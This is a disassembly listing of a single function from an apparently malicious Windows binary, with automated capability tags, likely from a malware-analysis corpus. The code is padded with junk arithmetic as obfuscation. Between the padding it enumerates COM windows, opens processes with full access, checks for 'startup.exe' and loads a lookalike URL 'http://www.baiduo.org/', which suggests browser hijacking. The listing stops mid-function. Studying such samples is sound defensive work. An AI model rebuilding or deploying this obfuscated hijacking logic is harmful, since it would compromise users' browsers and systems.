Function at 0x4205f0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b72d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1154
call fcn.00430d10
mov eax, dword [0x45f640]
xor eax, ebp
push ebx
mov dword [ebp - 0x14], eax
mov eax, dword [0x45dbd4]
push esi
push edi
mov edi, dword [0x45dbd8]
cdq
mov dword [ebp - 0x10], esp
mov esi, eax
push 2
mov dword [ebp - 0x10e8], edx
mov eax, edi
cdq
push 0xbeb5aaf
push edx
push eax
mov dword [ebp - 0x1118], 0
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
add ebx, eax
mov eax, dword [ebp - 0x10e8]
push 0xba7a7bcd
push eax
push esi
call fcn.004305f0
mov ecx, dword [ebp - 0x10e8]
push 2
push 0x1b912b5c
push ecx
push esi
sub ebx, eax
call fcn.004305f0
mov esi, dword [0x45dbe0]
add ebx, eax
mov eax, dword [0x45dbdc]
mov edx, eax
imul edx, edx, 0x6d4760f7
mov ecx, esi
imul ecx, ecx, 0x264da184
push 1
add ebx, edx
cdq
push 0xc6fcd893
push edx
add ebx, ecx
push eax
mov dword [0x45dbc4], ebx
mov dword [ebp - 4], 0
call fcn.004305f0
mov ecx, dword [0x45dbd0]
mov ebx, eax
mov eax, 0x1f64bb9f
mul esi
imul esi, esi, 0x3053d3f1
shr edx, 0x1c
sub ebx, edx
mov eax, 0x2d0ae8c5
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add ebx, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x45291d0f
imul ecx
add ebx, esi
sar edx, 0x1d
mov eax, edx
imul edi, edi, 0x7672ee00
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, edi
mov dword [0x45dbc8], eax
mov dword [ebp - 0x10f8], 0
lea ecx, [ebp - 0x10f8]
push ecx
push 0x44e394
push 0x17
push 0
push 0x452938
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x45dbe8]
mov ebx, eax
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edi, dword [0x45dbc4]
mov ecx, edi
imul ecx, ecx, 0xf414a551
sub ecx, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub ecx, edx
mov edx, esi
imul edx, edx, 0x1531b042
sub ecx, edx
mov dword [ebp - 0x10f4], ecx
mov ecx, dword [0x45dbd8]
mov eax, 0x45291d0f
imul ecx
mov eax, dword [ebp - 0x10f4]
sar edx, 0x1d
add eax, edx
mov ecx, edx
mov edx, dword [0x45dbe4]
imul edx, edx, 0x7d86eec7
shr ecx, 0x1f
add ecx, eax
mov eax, dword [0x45dbe0]
sub ecx, edx
test ebx, ebx
lea ecx, [ecx + eax - 0x7672ee00]
push 1
mov dword [0x45dbd0], ecx
push 0x388a7f11
jge 0x420866
mov eax, dword [0x45dbdc]
cdq
mov ebx, eax
push edx
push ebx
mov dword [ebp - 0x1108], edx
call fcn.004305f0
mov edx, dword [ebp - 0x1108]
push 2
push 0x1b912b5c
push edx
push ebx
mov dword [ebp - 0x10f4], eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
imul edi, edi, 0x4f22272
mov ecx, dword [ebp - 0x10f4]
sub eax, ecx
mov ecx, dword [0x45dbc8]
imul ecx, ecx, 0x264da184
add eax, esi
add edi, dword [0x45dbe4]
add edi, eax
mov eax, dword [ebp - 0x10f8]
test eax, eax
lea edx, [ecx + edi + 0x7672ee00]
mov dword [0x45dbd4], edx
mov byte [ebp - 4], 0
je 0x42085f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x4232d1
cdq
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub ebx, eax
push 1
mov eax, edi
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
add ebx, eax
mov ecx, dword [0x45dbcc]
mov eax, 0x2d0ae8c5
imul ecx, ecx, 0x388a7f11
mul esi
mov eax, esi
imul esi, esi, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
add ebx, eax
mov eax, dword [0x45dbc8]
imul eax, eax, 0x1b912b5c
sub ebx, ecx
add ebx, eax
mov eax, dword [ebp - 0x10f8]
lea ecx, [ebp - 0x1120]
sub ebx, esi
push ecx
mov dword [0x45dbd8], ebx
mov dword [ebp - 0x1120], 0
mov edx, dword [eax]
push eax
call dword [edx + 0x1c]
mov eax, dword [0x45dbd0]
cdq
mov ecx, eax
mov eax, dword [0x45dbe4]
push 2
mov esi, edx
cdq
push 0xbeb5aaf
push esi
mov ebx, eax
push ecx
mov dword [ebp - 0x1114], ecx
mov dword [ebp - 0x1110], esi
mov dword [ebp - 0x1104], ebx
mov dword [ebp - 0x1100], edx
call fcn.004305f0
mov esi, dword [0x45dbcc]
mov edi, eax
mov eax, 0x1f64bb9f
mul esi
shr edx, 0x1c
push 2
sub edi, edx
mov edx, dword [ebp - 0x1100]
push 0x1b912b5c
push edx
push ebx
call fcn.004305f0
mov ecx, dword [0x45dbc4]
add edi, eax
imul ecx, ecx, 0x7672ee00
mov eax, dword [0x45dbc8]
imul eax, eax, 0x3903276d
sub edi, eax
add edi, ecx
imul esi, esi, 0x74f4f79a
mov eax, dword [ebp - 0x1120]
add edi, esi
test eax, eax
mov dword [0x45dbdc], edi
jne 0x4209a3
mov eax, dword [ebp - 0x10f8]
test eax, eax
mov byte [ebp - 4], 0
je 0x42099c
mov edx, dword [eax]
push eax
call dword [edx + 8]
xor eax, eax
jmp 0x4232d1
mov eax, dword [0x45dbe8]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd0]
mov ebx, eax
mov eax, dword [0x45dbd4]
sub eax, ecx
imul eax, eax, 0x2b57abfe
mov esi, dword [0x45dbd8]
add ebx, eax
mov eax, 0x9a168f41
mul ecx
mov ecx, dword [0x45dbc8]
mov eax, dword [0x45dbcc]
imul ecx, ecx, 0x1531b042
shr edx, 0x1f
imul eax, eax, 0x7672ee00
sub ebx, edx
mov edx, esi
imul edx, edx, 0x3903276d
sub ebx, ecx
sub ebx, edx
sub ebx, eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [0x45dbe0], ebx
je 0x420aab
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [ebp - 0x1100]
mov edx, dword [ebp - 0x1104]
push 2
push 0xbeb5aaf
push ecx
push edx
mov edi, eax
call fcn.004305f0
mov ecx, dword [ebp - 0x1114]
push 1
sub edi, eax
mov eax, dword [ebp - 0x1110]
push 0xba7a7bcd
push eax
push ecx
call fcn.004305f0
imul esi, esi, 0x1b912b5c
sub edi, eax
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd4]
imul eax, eax, 0x7114fe22
shr edx, 0x1f
add edi, edx
sub edi, esi
add edi, eax
mov ecx, 0x571838
mov dword [0x45dbe4], edi
call fcn.004142a0
mov edi, dword [0x45dbdc]
mov ebx, dword [0x45dbe0]
mov esi, dword [0x45dbd8]
push 0xfffffffffffffffe
mov eax, edi
cdq
push 0xc77580ef
push edx
push eax
call fcn.004305f0
mov edx, dword [0x45dbd0]
add edx, esi
imul edx, edx, 0x264da184
sub eax, edx
mov dword [ebp - 0x10dc], eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov edx, dword [ebp - 0x10dc]
add edx, eax
push 1
mov dword [ebp - 0x10dc], edx
mov eax, esi
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov ecx, eax
mov eax, dword [ebp - 0x10dc]
sub eax, ecx
mov ecx, dword [0x45dbd4]
mov edx, esi
imul ecx, ecx, 0x7672ee00
imul edx, edx, 0x1b912b5c
add eax, edx
sub eax, ecx
mov dword [0x45dbe8], eax
mov dword [ebp - 0x10dc], 0
jmp 0x420b40
mov edx, dword [ebp - 0x1120]
cmp dword [ebp - 0x10dc], edx
jge 0x423251
mov eax, dword [0x45dbd4]
cdq
mov dword [ebp - 0x10ec], eax
push 2
mov dword [ebp - 0x10e8], edx
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ecx, dword [ebp - 0x10ec]
push 1
add esi, eax
mov eax, dword [ebp - 0x10e8]
push 0xba7a7bcd
push eax
push ecx
call fcn.004305f0
mov edx, dword [ebp - 0x10e8]
push 2
push 0x1b912b5c
sub esi, eax
mov eax, dword [ebp - 0x10ec]
push edx
push eax
call fcn.004305f0
imul edi, edi, 0x6d4760f7
imul ebx, ebx, 0x264da184
add esi, eax
add esi, edi
add esi, ebx
mov dword [0x45dbc4], esi
mov dword [ebp - 0x10e4], 0
mov eax, dword [ebp - 0x10dc]
mov word [ebp - 0x1148], 3
mov dword [ebp - 0x1140], eax
mov edi, dword [ebp - 0x1148]
mov ecx, dword [ebp - 0x10f8]
mov edx, dword [ecx]
lea esi, [ebp - 0x10e4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1144]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x113c]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1148]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [0x45dbe8]
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, dword [0x45dbc4]
mov ecx, ebx
imul ecx, ecx, 0xf414a551
sub ecx, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
imul esi, esi, 0x1531b042
shr edx, 0x1f
sub ecx, edx
sub ecx, esi
mov esi, dword [0x45dbd8]
mov eax, 0x45291d0f
imul esi
sar edx, 0x1d
add ecx, edx
mov eax, edx
mov edx, dword [0x45dbe0]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45dbe4]
imul ecx, ecx, 0x7d86eec7
sub eax, ecx
test edi, edi
lea eax, [eax + edx - 0x7672ee00]
mov dword [0x45dbd0], eax
jge 0x420cdf
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x423233
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x42322d
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
imul ebx, ebx, 0x7672ee00
mov ecx, dword [0x45dbcc]
add edi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x74f4f79a
mov eax, dword [ebp - 0x10e4]
shr edx, 0x1c
sub edi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3903276d
sub edi, edx
add edi, ebx
add edi, ecx
test eax, eax
mov dword [0x45dbdc], edi
mov dword [ebp - 0x10d8], 0
je 0x420d6d
mov ecx, dword [eax]
lea edx, [ebp - 0x10d8]
push edx
push 0x44e3dc
push eax
call dword [ecx]
mov edi, dword [0x45dbdc]
mov esi, dword [0x45dbd8]
mov eax, edi
cdq
mov ecx, eax
mov ebx, edx
mov eax, 0x1f64bb9f
mul dword [0x45dbe0]
push 1
push 0xc6fcd893
shr edx, 0x1c
push ebx
mov eax, edx
push ecx
mov dword [ebp - 0x110c], ecx
mov dword [ebp - 0x1108], ebx
mov dword [ebp - 0x10c8], eax
call fcn.004305f0
mov ecx, dword [0x45dbd0]
mov ebx, eax
mov eax, dword [ebp - 0x10c8]
sub ebx, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, dword [0x45dbe0]
imul eax, eax, 0x3053d3f1
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add ebx, ecx
add ebx, eax
mov eax, 0x45291d0f
imul dword [0x45dbe4]
mov ecx, esi
imul ecx, ecx, 0x7672ee00
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [ebp - 0x10d8]
add eax, ecx
test ebx, ebx
mov dword [0x45dbc8], eax
jne 0x420e1a
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x423239
jmp 0x423227
mov eax, dword [ebp - 0x1108]
mov edi, dword [ebp - 0x110c]
push 1
push 0x388a7f11
push eax
push edi
call fcn.004305f0
mov ecx, dword [ebp - 0x1108]
push 2
push 0x1b912b5c
push ecx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004305f0
mov ecx, dword [0x45dbc4]
mov edi, eax
imul ecx, ecx, 0x4f22272
mov eax, dword [ebp - 0x10c8]
sub edi, eax
mov eax, dword [0x45dbe8]
mov edx, eax
imul edx, edx, 0x1b912b5c
add edi, edx
add ecx, dword [0x45dbe4]
mov edx, dword [0x45dbc8]
imul edx, edx, 0x264da184
add ecx, edi
lea edi, [edx + ecx + 0x7672ee00]
mov dword [0x45dbd4], edi
mov dword [ebp - 0x10fc], 0
push 1
cdq
push 0xba7a7bcd
push edx
push eax
mov byte [ebp - 4], 5
call fcn.004305f0
imul esi, esi, 0x3903276d
mov ecx, dword [0x45dbd0]
sub edi, ecx
imul edi, edi, 0x2b57abfe
add eax, edi
mov dword [ebp - 0x10c8], eax
mov eax, 0x9a168f41
mul ecx
mov eax, dword [ebp - 0x10c8]
shr edx, 0x1f
sub eax, edx
mov ecx, eax
mov eax, dword [0x45dbc8]
imul eax, eax, 0x1531b042
sub ecx, eax
mov eax, dword [0x45dbcc]
imul eax, eax, 0x7672ee00
sub ecx, esi
sub ecx, eax
mov dword [0x45dbe0], ecx
mov eax, dword [ebx]
lea ecx, [ebp - 0x10fc]
push ecx
push ebx
call dword [eax + 0x48]
test eax, eax
jge 0x420f53
mov eax, dword [ebp - 0x10fc]
test eax, eax
mov byte [ebp - 4], 4
je 0x420f28
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x420f3c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x42322d
jmp 0x423227
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
mov edi, dword [0x45dbdc]
add esi, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
shr edx, 0x1c
sub esi, edx
mov eax, 0x9a168f41
mul edi
mov eax, dword [0x45dbc4]
imul eax, eax, 0x1531b042
shr edx, 0x1f
add esi, edx
sub esi, eax
mov eax, 0x45291d0f
imul dword [0x45dbd4]
mov eax, dword [ebp - 0x10fc]
sar edx, 0x1d
mov ebx, edx
shr ebx, 0x1f
add esi, edx
add ebx, esi
test eax, eax
mov dword [0x45dbcc], ebx
mov dword [ebp - 0x10e0], 0
je 0x421012
mov ecx, dword [eax]
lea edx, [ebp - 0x10e0]
push edx
push 0x44e3ec
push eax
call dword [ecx]
mov ebx, dword [0x45dbcc]
mov edi, dword [0x45dbdc]
mov eax, dword [0x45dbe0]
push 1
cdq
push 0x388a7f11
push edx
push eax
mov byte [ebp - 4], 6
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
imul ebx, ebx, 0x388a7f11
mov ecx, dword [0x45dbe8]
add esi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x1b912b5c
shr eax, 0x1f
add esi, eax
mov eax, dword [ebp - 0x10e0]
sub esi, ebx
add esi, edx
sub esi, ecx
test eax, eax
mov dword [0x45dbd8], esi
jne 0x4210fd
mov eax, dword [ebp - 0x10fc]
test eax, eax
mov byte [ebp - 4], 4
je 0x4210c0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [0x45dbdc]
mov esi, dword [0x45dbd8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x4210e0
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov edi, dword [0x45dbdc]
mov esi, dword [0x45dbd8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x423239
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x42322d
push 0
call fcn.00430cd7
sub eax, dword [0x571a90]
add esp, 4
cmp eax, 0x708
jge 0x421446
mov eax, dword [0x45dbd4]
cdq
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
add ebx, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
sub ebx, eax
call fcn.004305f0
mov edx, dword [0x45dbdc]
add ebx, eax
imul edx, edx, 0x6d4760f7
mov eax, dword [0x45dbe0]
imul eax, eax, 0x264da184
add ebx, edx
add ebx, eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x1134]
push edx
mov dword [0x45dbc4], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1134]
lea eax, [ebp - 0x1124]
push eax
push ecx
mov dword [ebp - 0x1124], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov dword [ebp - 0x10c8], eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ecx, dword [ebp - 0x10c8]
mov ebx, dword [0x45dbe0]
sub ecx, eax
push 1
mov eax, ebx
cdq
push 0xba7a7bcd
push edx
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004305f0
mov ecx, dword [ebp - 0x10c8]
mov esi, dword [0x45dbd0]
add ecx, eax
mov eax, 0x1f64bb9f
mul esi
mov edi, dword [0x45dbc4]
shr edx, 0x1c
sub ecx, edx
mov eax, 0x9a168f41
mul dword [0x45dbdc]
shr edx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x1531b042
sub ecx, edx
mov dword [ebp - 0x10c8], ecx
mov ecx, dword [0x45dbd4]
mov eax, 0x45291d0f
imul ecx
mov ecx, dword [ebp - 0x10c8]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov dword [0x45dbcc], eax
mov eax, dword [ebp - 0x1124]
test eax, eax
mov eax, dword [0x45dbdc]
push 1
cdq
je 0x42216d
push 0x388a7f11
mov ebx, edx
mov esi, eax
push ebx
push esi
call fcn.004305f0
push 2
push 0x1b912b5c
push ebx
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004305f0
imul edi, edi, 0x4f22272
mov edx, dword [0x45dbe8]
mov ecx, eax
imul edx, edx, 0x1b912b5c
mov eax, dword [ebp - 0x10c8]
sub ecx, eax
add edi, dword [0x45dbe4]
mov eax, dword [0x45dbc8]
imul eax, eax, 0x264da184
add ecx, edx
add edi, ecx
mov ecx, dword [ebp - 0x1124]
push ecx
push 0
lea eax, [eax + edi + 0x7672ee00]
push 0x1f0fff
mov dword [0x45dbd4], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x421446
mov eax, dword [0x45dbd0]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbcc]
add edi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x74f4f79a
mov eax, dword [0x45dbc4]
shr edx, 0x1c
imul eax, eax, 0x7672ee00
sub edi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3903276d
sub edi, edx
mov dl, byte [0x44ed86]
add edi, eax
add edi, ecx
mov cx, word [0x44ed84]
mov dword [0x45dbdc], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov eax, dword [0x45dbe4]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, esi
call fcn.004305f0
mov ecx, dword [0x45dbd8]
add edi, eax
imul ecx, ecx, 0x1b912b5c
mov eax, 0x9a168f41
mul dword [0x45dbc4]
shr edx, 0x1f
add edi, edx
mov edx, dword [0x45dbd4]
imul edx, edx, 0x7114fe22
sub edi, ecx
add edi, edx
mov dword [0x45dbe4], edi
lea eax, [ebp - 0x2c4]
push str.startup.exe
push eax
call fcn.0040d160
add esp, 8
test eax, eax
jne 0x4221e2
mov eax, dword [0x45dbe4]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
mov edi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, esi
call fcn.004305f0
add edi, eax
mov ecx, dword [ebp - 0x1118]
mov eax, 0x9a168f41
mul dword [0x45dbc4]
mov eax, dword [0x45dbd4]
shr edx, 0x1f
imul eax, eax, 0x7114fe22
add edi, edx
mov edx, dword [0x45dbd8]
imul edx, edx, 0x1b912b5c
sub edi, edx
add edi, eax
mov eax, dword [ebp + 8]
inc ecx
test eax, eax
mov dword [0x45dbe4], edi
mov dword [ebp - 0x1118], ecx
je 0x423148
push ecx
lea edx, [ebp - 0x10d8]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push edx
call fcn.00407ec0
mov ecx, 0x571838
call fcn.00407240
test al, al
jne 0x423148
mov eax, dword [0x45dbd4]
cdq
mov edi, eax
mov eax, dword [0x45dbd8]
push 2
mov ebx, edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push ebx
push edi
add esi, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push ebx
push edi
sub esi, eax
call fcn.004305f0
mov ebx, dword [0x45dbe0]
mov edi, dword [0x45dbe8]
add esi, eax
mov eax, dword [0x45dbdc]
imul eax, eax, 0x6d4760f7
mov ecx, ebx
imul ecx, ecx, 0x264da184
add esi, eax
push 2
mov eax, edi
cdq
push 0xbeb5aaf
push edx
add esi, ecx
push eax
mov dword [0x45dbc4], esi
call fcn.004305f0
imul esi, esi, 0xf414a551
imul edi, edi, 0x1531b042
sub esi, eax
mov ecx, dword [0x45dbe4]
mov eax, 0x9a168f41
imul ecx, ecx, 0x7d86eec7
mul dword [0x45dbd0]
shr edx, 0x1f
sub esi, edx
mov eax, 0x45291d0f
imul dword [0x45dbd8]
sar edx, 0x1d
mov eax, edx
shr eax, 0x1f
sub esi, edi
add esi, edx
add eax, esi
sub eax, ecx
lea edx, [eax + ebx - 0x7672ee00]
mov eax, dword [ebp - 0x10d8]
mov dword [0x45dbd0], edx
mov ecx, dword [eax]
lea edx, [ebp - 0x1138]
push edx
push eax
call dword [ecx + 0x78]
mov eax, dword [0x45dbd0]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbcc]
add esi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x74f4f79a
mov eax, dword [0x45dbc8]
shr edx, 0x1c
imul eax, eax, 0x3903276d
sub esi, edx
mov edx, dword [0x45dbc4]
imul edx, edx, 0x7672ee00
sub esi, eax
mov eax, dword [ebp - 0x1138]
add esi, edx
add esi, ecx
push eax
mov dword [0x45dbdc], esi
call fcn.004263e0
mov dword [ebp - 0x10f0], eax
mov eax, dword [0x45dbd4]
cdq
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
add ebx, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
sub ebx, eax
call fcn.004305f0
mov ecx, dword [0x45dbdc]
mov edx, dword [0x45dbe0]
imul ecx, ecx, 0x6d4760f7
imul edx, edx, 0x264da184
add ebx, eax
mov eax, dword [ebp - 0x10e0]
add ebx, ecx
add ebx, edx
lea edx, [ebp - 0x1130]
push edx
mov dword [0x45dbc4], ebx
mov ecx, dword [eax]
push eax
xor edi, edi
call dword [ecx + 0x90]
mov esi, eax
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
sub ebx, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
add ebx, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
mov ecx, dword [0x45dbd4]
shr edx, 0x1c
sub ebx, edx
mov eax, 0x9a168f41
mul dword [0x45dbdc]
mov eax, dword [0x45dbc4]
imul eax, eax, 0x1531b042
shr edx, 0x1f
add ebx, edx
sub ebx, eax
mov eax, 0x45291d0f
imul ecx
sar edx, 0x1d
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
test esi, esi
mov dword [0x45dbcc], ecx
jne 0x42179a
mov edx, dword [ebp - 0x1130]
push edx
call fcn.004263e0
mov edi, eax
push 0
call fcn.00430cd7
sub eax, dword [0x5717f4]
add esp, 4
cmp eax, 5
jle 0x42281d
test edi, edi
je 0x4217d2
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4217c0
sub eax, edx
cmp eax, 5
ja 0x42281d
mov eax, dword [0x45dbdc]
cdq
push 1
push 0x388a7f11
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
mov ebx, eax
call fcn.004305f0
mov ecx, dword [0x45dbe8]
mov edx, dword [0x45dbc4]
imul ecx, ecx, 0x1b912b5c
mov edi, dword [0x45dbe4]
imul edx, edx, 0x4f22272
sub eax, ebx
add eax, ecx
mov ecx, dword [0x45dbc8]
imul ecx, ecx, 0x264da184
add edx, edi
add edx, eax
lea edx, [ecx + edx + 0x7672ee00]
mov dword [0x45dbd4], edx
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x421844
lea eax, [ebp - 0x1c4]
push eax
call fcn.00426280
mov esi, dword [0x45dbd8]
mov ebx, dword [0x45dbdc]
mov dword [ebp - 0x10cc], eax
mov eax, esi
cdq
mov dword [ebp - 0x112c], eax
push 0xfffffffffffffffe
mov dword [ebp - 0x1128], edx
mov eax, ebx
cdq
push 0xc77580ef
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbd0]
add ecx, esi
mov edi, eax
imul ecx, ecx, 0x264da184
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, ecx
call fcn.004305f0
mov edx, dword [ebp - 0x1128]
push 1
push 0xc6fcd893
add edi, eax
mov eax, dword [ebp - 0x112c]
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov edx, dword [0x45dbd4]
sub edi, eax
mov eax, dword [str.sfdafsdafdsfdsfa]
mov ecx, edx
imul ecx, ecx, 0x7672ee00
add edi, esi
sub edi, ecx
mov ecx, dword [0x44ed68]
mov dword [ebp - 0x144], eax
mov eax, dword [0x44ed6c]
mov dword [ebp - 0x13c], eax
mov al, byte [0x44ed74]
